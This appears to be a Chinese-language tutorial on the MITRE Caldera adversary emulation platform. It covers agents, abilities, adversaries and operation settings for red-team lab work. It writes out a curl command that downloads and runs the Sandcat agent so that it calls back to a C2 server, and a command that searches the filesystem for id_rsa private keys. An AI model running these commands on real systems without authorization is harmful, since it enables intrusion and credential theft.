MITRE Caldera 自动化攻击仿真
项目了解
mitre/caldera:自动对手仿真平台 (github.com)
Caldera 读音 :美 /kɔl'dɪərə/ n. 破火山口;火山喷口
它建立在 MITRE ATT&CK™ 框架之上,是 MITRE 的一个活跃研究项目。
MITRE Caldera™ 是一个网络安全平台,旨在轻松自动化对手仿真、协助手动红队和自动化事件响应。
主要有两个部分组成:
1.核心系统,提供Web界面,REST API(Representational State Transfer 应用程序编程接口),命令与控制(C2),异步处理功能。
2.插件。扩展了核心框架功能并提供了其他功能。示例包括代理、报告、TTP 集合等。
适用于运行核心框架的计算机:
- 任何 Linux 或 MacOS
- Python 3.8+(使用 Pip3)
- 推荐运行的硬件是 8GB+ RAM 和 2+ CPU
- 推荐:GoLang 1.17+ 动态编译基于 GoLang 的代理。
- NodeJS(v16+ 推荐用于 v5 VueJS UI
关键概念
代理 Agent
代理是软件程序,它们以一定的间隔连接到Caldera以获取指令。代理通过一种联系方式与Caldera服务器进行通信,该联系方式在代理安装时最初定义。
已安装的代理会出现在用户界面(UI)的“代理”对话框中。代理通过其唯一的“爪印”(paw print)进行标识。
Caldera包含多个代理程序,每个程序都添加了独特的功能。下面列出了一些示例:
- Sandcat:一个Go语言编写的代理,可以通过各种C2(命令与控制)通道进行通信,如HTTP、Github GIST或DNS隧道。
- Manx:一个Go语言编写的代理,通过TCP联系进行通信,并作为反向shell工作。
- Ragdoll:一个Python编写的代理,通过HTML联系进行通信。
代理可以被分组,这可以通过安装时的命令行标志或在UI中编辑代理来实现。在运行操作时,这些组用于确定要对哪些代理执行能力。
组决定了代理是“红色代理”还是“蓝色代理”。在“蓝色”组中启动的任何代理都将可从蓝色仪表板访问。所有其他代理都将从红色仪表板访问。
功能:
- 执行各种预定义的攻击手段和策略,例如数据窃取、权限提升、横向移动等。
- 收集目标系统的信息和状态,反馈给控制服务器。
- 支持多种操作系统和网络环境,适应性强。
这些代理的主要作用是模拟真实世界中的网络攻击者,执行各种攻击技术和战术。
这些代理(agents)可以被看作是专门针对目标主机的交互接口。
它们接收来自控制服务器(通常是Caldera平台)的指令,然后在目标主机上执行这些指令。
- 命令执行: 执行各种命令和脚本,以模拟真实攻击者可能采取的行动。
- 数据收集: 收集目标主机上的信息和状态,包括文件、进程、网络连接等。
- 反馈和报告: 将执行结果和收集到的数据返回给控制服务器,以便分析和决策。
每种代理使用不同的通信协议和方法来与控制服务器保持联系,如HTTP(S)、HTML、TCP等。
例如:针对linux主机 名为victim,
caldera 会生成如下命令,在被攻击机上执行以下命令,就会上线此受害者主机。
# Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
server="http://0.0.0.0:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > victim;
chmod +x victim;./victim -server $server -group red -v
使用 curl
命令发送一个POST请求到服务器,具体URL为 $server/file/download
。请求中包含两个头部字段:
file:sandcat.go
:表示请求下载的文件名是sandcat.go
。platform:linux
:表示目标平台是 Linux。
就是从caldera下载一个sndcat的代理程序,用来与目标主机交互。
下载的victim
文件,并传递一些参数:
-server $server
:指定服务器地址。-group red
:指定该代理属于red
组,通常用于红队演练。-v
:启用详细模式,输出更多调试信息。
在目标系统上部署并运行攻击代理。则回连到攻击C&C主机。
能力与对手 Abilities and Adversaries
能力(Ability)是指可以在正在运行的代理上执行的特定ATT&CK战术/技术实现。
能力将包括要运行的命令、命令可以运行的平台/执行器(例如:Windows / PowerShell)、要包含的负载(payloads),以及对Caldera服务器上用于解析输出的模块的引用。
对手配置文件(Adversary Profiles)是一组能力的集合,代表了威胁行动者可用的战术、技术和程序(TTPs)。
在运行操作时,对手配置文件用于确定将执行哪些能力。这些配置文件帮助模拟特定威胁行动者的行为模式,以便安全团队能够测试和验证其防御措施的有效性。
Abilities
指的是在可以在agent上执行的操作,每一个ability都是TTP上的一个步骤。
如Discover Private SSH Keys,属于credential-access战术,技术id为T1552.004
凭证访问,具体的命令执行如下。
Adversaries
对手配置文件是一组能力,表示威胁参与者可用的策略、技术和程序 (TTP)。运行操作时,使用对手配置文件来确定将执行哪些功能。
就是一组能力的集合,当配置好adversary后,可以在操作时执行此组能力。
如:自定义一个Adversary,定义一组能力。先凭据访问,后持久化攻击。
则,运行此组能力,会对linux的agent进行如下命令攻击。
操作operation
可以定义在一个操作,在agent绑定的目标主机执行对应的能力。
Operation Name (操作名称): anyt
: 这是这次操作的名称
Adversary (对手):这里是 zzl_test adversary1
,表示将使用该对手的预定义攻击行为和策略进行模拟
Fact Source (事实来源):用于指定初始情报或环境信息的来源。
Group (组):All groups
和 red
: 选择目标组。这里选中了 red
组,表示这次操作将针对红队进行。
Planner (计划者) atomic
: 选择计划者模块,决定如何执行攻击链。atomic
表示使用原子计划者,逐步执行单个操作步骤。
- atomic: 根据对手配置文件中的原子顺序执行能力。
- batch: 一次性执行对手配置文件中的所有能力。
- buckets: 按照 ATT&CK 策略分组执行对手配置文件中的能力。
Obfuscators (混淆器): 选项包括 base64
, base64jumble
, base64noPadding
, caesar cipher
, plain-text
, steganography
这里选中了 plain-text
,表示不使用任何混淆技术。
Autonomous (自主性):
Run autonomously
和Require manual approval
:Run autonomously
: 自动运行,无需手动批准。Require manual approval
: 需要手动批准每一步操作。
Parser (解析器):
Use Default Parser
和Require manual approval
:Use Default Parser
: 使用默认的解析器。Require manual approval
: 需要手动批准每一步操作。
Auto Close (自动关闭):
Keep open forever
和Auto close operation
:Keep open forever
: 操作将一直保持打开状态。Auto close operation
: 操作完成后自动关闭。
- 这里选择了
Keep open forever
,表示操作将保持打开状态,不会自动关闭。
Run State (运行状态):
Run immediately
和Pause on start
:Run immediately
: 操作将立即开始。Pause on start
: 操作开始时将暂停。
- 这里选择了
Run immediately
,表示操作将立即开始。
Jitter (sec/sec) (抖动):
2 / 8
: 设置操作执行的抖动时间,表示在每个步骤之间随机增加 2 到 8 秒的延迟,以模拟更真实的攻击行为。
执行效果
可以看到,在目标主机上执行了凭证访问的命令。但是并没有输出。
find / -name id_rsa 2>/dev/null >> /tmp/keyfile_locations.txt; exit 0 说明没有找到id_rsa密钥。
发现持久化操作未执行,根据官方文档,能力被执行是有条件的。
需要满足facts,与fact requirements被满足,且能力被配置为运行
事实是关于给定计算机的可识别的信息片段。事实名称在能力文件中被引用,当从能力创建链接时,事实值将被替换。
持久化攻击命令中含有事实。在fact source中配置fact
可以看到,开始执行此能力。
执行成功,但是没有输出结果。
Welcome to MITRE Caldera’s documentation! — caldera documentation 使用文档
ATT&CK—Caldera 实操(保姆级教学) - FreeBuf网络安全行业门户